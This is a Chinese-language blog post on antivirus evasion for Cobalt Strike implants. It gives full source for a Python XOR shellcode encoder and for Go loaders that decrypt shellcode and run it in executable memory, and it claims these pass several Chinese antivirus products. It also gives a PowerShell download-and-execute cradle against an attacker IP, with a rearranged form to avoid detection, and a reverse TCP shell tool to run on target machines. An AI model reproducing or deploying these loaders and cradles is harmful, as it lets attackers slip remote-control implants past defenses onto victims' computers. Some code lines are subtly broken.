免杀类

0x01背景

元旦在家没什么事,回顾了一下近两个月做的事,分享一些自己平时做免杀时用到的工具和方法。

0x02exe上线cs免杀

首先在Cobalt Strike服务器中生成c的payload文件-payload.c
1

1、异或免杀
把payload.c的shellcode部分填入xor的shellcode字段中
xor.py内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
def xor(shellcode, key):
new_shellcode = ""
key_len = len(key)
# 对shellcode的每一位进行xor亦或处理
for i in range(0, len(shellcode)):
s = ord(shellcode[i])
p = ord((key[i % key_len]))
s = s ^ p # 与p异或,p就是key中的字符之一
s = chr(s)
new_shellcode += s
return new_shellcode


def random_decode(shellcode):
j = 0
new_shellcode = ""
for i in range(0,len(shellcode)):
if i % 2 == 0:
new_shellcode[i] = shellcode[j]
j += 1


return new_shellcode


def add_random_code(shellcode, key):
new_shellcode = ""
key_len = len(key)
for i in range(0, len(shellcode)):
new_shellcode += shellcode[i]


new_shellcode += key[i % key_len]
return new_shellcode


def str_to_hex(shellcode):
raw = ""
for i in range(0, len(shellcode)):
s = hex(ord(shellcode[i])).replace("0x",',0x')
raw = raw + s
return raw


if __name__ == '__main__':
shellcode="\xfc\x48\x83\..."
#这是异或和增加随机字符使用的key
key = "planet"
shellcode = xor(shellcode, key)
shellcode = add_random_code(shellcode, key)
print(str_to_hex(shellcode))

执行xor.py
2

把刚才生成的shellcode填到shell.go的shellcode字段中,记得两个文件key要一致。
shell.go内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package main


import (
"syscall"
"time"
"unsafe"
)


const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40 // 区域可以执行代码,应用程序可以读写该区域。


)


var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)


func main() {
mix_shellcode := []byte{0x8c,0x70,...}
var ttyolller []byte
key := []byte("planet")#xor.py中的key
var key_size = len(key)
var shellcode_final []byte
var j = 0
time.Sleep(2)
//fmt.Print(len(mix_shellcode))
for i := 0; i < len(mix_shellcode); i++ {
if i%2 == 0 {
shellcode_final = append(shellcode_final, mix_shellcode[i])
j += 1
}
}
time.Sleep(3)
//fmt.Print(shellcode_final)
// 解密异或
for i := 0; i < len(shellcode_final); i++ {
ttyolller = append(ttyolller, shellcode_final[i]^key[i%key_size])
}
time.Sleep(3)
addr, _, err := VirtualAlloc.Call(0, uintptr(len(ttyolller)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
time.Sleep(3)
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&ttyolller[0])), uintptr(len(ttyolller)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}

执行go build -ldflags=”-H windowsgui -w -s” shell.go生成shell.exe

实测可过火绒

2、加载分离参数免杀
先用生成器生成AES加密的Shellcode,加载器代码中无Shellcode,使用时用参数调用。
1.go内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package main

import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"encoding/hex"
"fmt"
"math/rand"
"os"
"strings"
"time"
)

//随机生成key,后面用来解密的
func key(l int) string {
str := "0123456789abcdefghijklmnopqrstuvwxyz"
bytes := []byte(str)
result := []byte{}
r := rand.New(rand.NewSource(time.Now().UnixNano()))
for i := 0; i < l; i++ {
result = append(result, bytes[r.Intn(len(bytes))])
}
return string(result)
}

//使用PKCS5进行填充用来
func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}

//进行aes加密
func AesEncrypt(origData, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}

blockSize := block.BlockSize()
origData = PKCS5Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])
crypted := make([]byte, len(origData))
blockMode.CryptBlocks(crypted, origData)
return crypted, nil
}

//主函数入口,对字符进行了处理
func main() {
argsWithProg := os.Args
if len(argsWithProg) < 2 {
fmt.Println("usage : ", argsWithProg[0], " paylaod.c")
return
}
confFile := os.Args[1]
str2 := strings.Replace(confFile, "\\x", "", -1)
data, _ := hex.DecodeString(str2)
key1 := key(16)
fmt.Println("Key:", key1)
var key []byte = []byte(key1)
aes, _ := AesEncrypt(data, key)
encoded := base64.StdEncoding.EncodeToString(aes)
fmt.Println("Code:", encoded)
}

go run 1.go 生成KEY和加密值
3
保存KEY和code。

2.go内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package main

import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"os"
"syscall"
"unsafe"
)

//这一块是定义一些东西去加载我们的shellcode
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(
uintptr(lpAddress),
uintptr(dwSize),
uintptr(flNewProtect),
uintptr(lpflOldProtect))
return ret > 0
}

//shellcode执行函数
func Run(sc []byte) {
f := func() {}
var oldfperms uint32
if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
var oldshellcodeperms uint32
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
panic("Call to VirtualProtect failed!")
}
f()
}

//同样为了保证我们的shellcode正常运行要进行PKCS5的操作
func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}

//经典的aes解密操作
func AesDecrypt(crypted, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}

blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])
origData := make([]byte, len(crypted))
blockMode.CryptBlocks(origData, crypted)
origData = PKCS5UnPadding(origData)
return origData, nil
}

//运行主函数,主要是接受参数进行base64解码,ase解码,运行shellcode
func main() {
key1 := os.Args[1]
payload1 := os.Args[2]
encoded2, _ := base64.StdEncoding.DecodeString(payload1)
var key []byte = []byte(key1)
AES, _ := AesDecrypt(encoded2, key)
Run(AES)
}

go build 2.go 编译生成加载器

在目标机执行2.exe key code 调用shellcode执行上线
4
tips:木马在目标机执行的目录与本地生成的目录要对应,否则会报错
以下是我踩坑记录
5
原因是我在第一步生成key和code的时候目录与目标机不一致。
所以如果在目标机c:\windows\目录执行就要在本地c:\windows\目录生成。

实测可过360、火绒、qq电脑管家。

3、CS_loader
可用go、python、c等生成cs免杀exe
项目地址:https://github.com/Gality369/CS-Loader
相关使用项目中介绍的很清楚,这里不过多赘述。
以go为例
6
这里我是将图片传到了自己服务器web根目录。
实测可过火绒。

4、掩日
项目地址:https://github.com/dayuxiyou/AV_Evasion_Tool/releases/tag/3.0
相关使用项目中介绍的很清楚,这里不过多赘述。
单独放出来是此项目可结合以上exe进行组合免杀

0x03powershell免杀

1、cs powershell上线
cs的powershell上线原理是直接把文本转为exe运行,无文件落地,更具隐蔽性

生成paylaod
7

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://xxx.xxx.xxx.xxx:8088/a'))"

直接执行会被杀掉
8

此时我们替换一下位置

1
echo IEX ((new-object net.webclient).downloadstring('http://xxx.xxx.xxx.xxx:8088/a')) | powershell -

9
成功上线。

但是过不了360

2、powershell反弹shell
这里借助工具,ReverseTCPShell
项目地址:https://github.com/ZHacker13/ReverseTCPShell

1、生成paylaod
在本地运行或者在vps运行都行

我这里是在本地运行

1
powershell .\ReverseTCP.ps1

配置好vps地址和监听端口即可生成两种形式的payload(cmd和powershell)
在目标机cmd下执行cmd的payload即可返回一个shell
10

linux下运行需要安装powershell
各系统安装方法参考:https://docs.microsoft.com/zh-cn/powershell/scripting/install/install-centos?view=powershell-7.2
我这里以centos为例

1
2
3
4
cat  /etc/redhat-release #查看centos版本
curl https://packages.microsoft.com/config/rhel/7/prod.repo | sudo tee /etc/yum.repos.d/microsoft.repo #获取资源
sudo yum install -y powershell #安装
pwsh #验证是否安装成功

11
安装完成后上传文件并赋予执行权限
然后执行pwsh ./ReverseTCP.ps1即可

参考链接:
https://mp.weixin.qq.com/s/ycL0a4XBxReAzKD2VaQ3kg
https://mp.weixin.qq.com/s/EPGqIf8Mo0V9NHglKnpqrQ